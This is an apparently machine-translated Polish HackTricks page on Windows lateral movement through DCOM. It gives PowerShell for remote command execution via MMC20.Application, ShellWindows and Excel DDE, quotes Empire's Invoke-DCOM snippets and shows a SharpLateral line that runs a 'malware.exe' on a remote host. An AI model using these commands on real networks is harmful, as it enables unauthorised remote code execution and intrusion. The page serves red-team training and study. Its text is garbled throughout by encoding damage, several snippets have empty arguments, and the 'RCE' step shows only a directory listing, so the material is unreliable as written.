# DCOM Exec {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## MMC20.Application **Aby uzyska膰 wi臋cej informacji na temat tej techniki, sprawd藕 oryginalny post z [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)** Obiekty Distributed Component Object Model (DCOM) oferuj膮 interesuj膮c膮 mo偶liwo艣膰 interakcji z obiektami w sieci. Microsoft zapewnia szczeg贸艂ow膮 dokumentacj臋 zar贸wno dla DCOM, jak i Component Object Model (COM), dost臋pn膮 [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) oraz [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Lista aplikacji DCOM mo偶e by膰 pobrana za pomoc膮 polecenia PowerShell: ```bash Get-CimInstance Win32_DCOMApplication ``` Obiekt COM, [Klasa aplikacji MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), umo偶liwia skryptowanie operacji wtyczek MMC. Co wa偶ne, obiekt ten zawiera metod臋 `ExecuteShellCommand` w `Document.ActiveView`. Wi臋cej informacji na temat tej metody mo偶na znale藕膰 [tutaj](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Sprawd藕 jej dzia艂anie: Funkcja ta u艂atwia wykonywanie polece艅 w sieci za po艣rednictwem aplikacji DCOM. Aby zdalnie interagowa膰 z DCOM jako administrator, mo偶na wykorzysta膰 PowerShell w nast臋puj膮cy spos贸b: ```powershell [activator]::CreateInstance([type]::GetTypeFromProgID("", "")) ``` To polecenie 艂膮czy si臋 z aplikacj膮 DCOM i zwraca instancj臋 obiektu COM. Metoda ExecuteShellCommand mo偶e by膰 nast臋pnie wywo艂ana w celu uruchomienia procesu na zdalnym ho艣cie. Proces obejmuje nast臋puj膮ce kroki: Check methods: ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member ``` Uzyskaj RCE: ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com | Get-Member # Then just run something like: ls \\10.10.10.10\c$\Users ``` ## ShellWindows & ShellBrowserWindow **Aby uzyska膰 wi臋cej informacji na temat tej techniki, sprawd藕 oryginalny post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)** Obiekt **MMC20.Application** zosta艂 zidentyfikowany jako brakuj膮cy w "LaunchPermissions", domy艣lnie przyznaj膮c uprawnienia, kt贸re pozwalaj膮 Administratorom na dost臋p. Aby uzyska膰 dalsze szczeg贸艂y, mo偶na zbada膰 w膮tek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a u偶ycie [@tiraniddo](https://twitter.com/tiraniddo)鈥檚 OleView .NET do filtrowania obiekt贸w bez wyra藕nych uprawnie艅 uruchomienia jest zalecane. Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zosta艂y wyr贸偶nione z powodu braku wyra藕nych uprawnie艅 uruchomienia. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak wyra藕nych uprawnie艅. ### ShellWindows Dla `ShellWindows`, kt贸ry nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` u艂atwiaj膮 instancjonowanie obiektu przy u偶yciu jego AppID. Proces ten wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu mo偶liwa jest interakcja za pomoc膮 metody `WindowsShell.Item`, co prowadzi do wywo艂ania metod, takich jak `Document.Application.ShellExecute`. Podano przyk艂adowe polecenia PowerShell do instancjonowania obiektu i zdalnego wykonywania polece艅: ```powershell $com = [Type]::GetTypeFromCLSID("", "") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) ``` ### Lateral Movement with Excel DCOM Objects Ruch boczny mo偶na osi膮gn膮膰 poprzez wykorzystanie obiekt贸w DCOM Excel. Aby uzyska膰 szczeg贸艂owe informacje, zaleca si臋 przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za po艣rednictwem DCOM na [blogu Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom). Projekt Empire dostarcza skrypt PowerShell, kt贸ry demonstruje wykorzystanie Excela do zdalnego wykonywania kodu (RCE) poprzez manipulacj臋 obiektami DCOM. Poni偶ej znajduj膮 si臋 fragmenty skryptu dost臋pnego w [repozytorium GitHub Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), pokazuj膮ce r贸偶ne metody nadu偶ywania Excela do RCE: ```powershell # Detection of Office version elseif ($Method -Match "DetectOffice") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Obj = [System.Activator]::CreateInstance($Com) $isx64 = [boolean]$obj.Application.ProductCode[21] Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) } # Registration of an XLL elseif ($Method -Match "RegisterXLL") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Obj = [System.Activator]::CreateInstance($Com) $obj.Application.RegisterXLL("$DllPath") } # Execution of a command via Excel DDE elseif ($Method -Match "ExcelDDE") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Obj = [System.Activator]::CreateInstance($Com) $Obj.DisplayAlerts = $false $Obj.DDEInitiate("cmd", "/c $Command") } ``` ### Narz臋dzia Automatyzacji dla Ruchu Lateralnego Dwa narz臋dzia s膮 wyr贸偶nione do automatyzacji tych technik: - **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, kt贸ry upraszcza wywo艂ywanie r贸偶nych metod do wykonywania kodu na zdalnych maszynach. Ten skrypt jest dost臋pny w repozytorium Empire na GitHubie. - **SharpLateral**: Narz臋dzie zaprojektowane do zdalnego wykonywania kodu, kt贸re mo偶na u偶ywa膰 z poleceniem: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` ## Automatic Tools * Skrypt Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) umo偶liwia 艂atwe wywo艂anie wszystkich skomentowanych sposob贸w na wykonanie kodu na innych maszynach. * Mo偶esz r贸wnie偶 u偶y膰 [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` ## References * [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) * [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) {% hint style="success" %} Ucz si臋 i 膰wicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz si臋 i 膰wicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Dziel si臋 trikami hackingowymi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}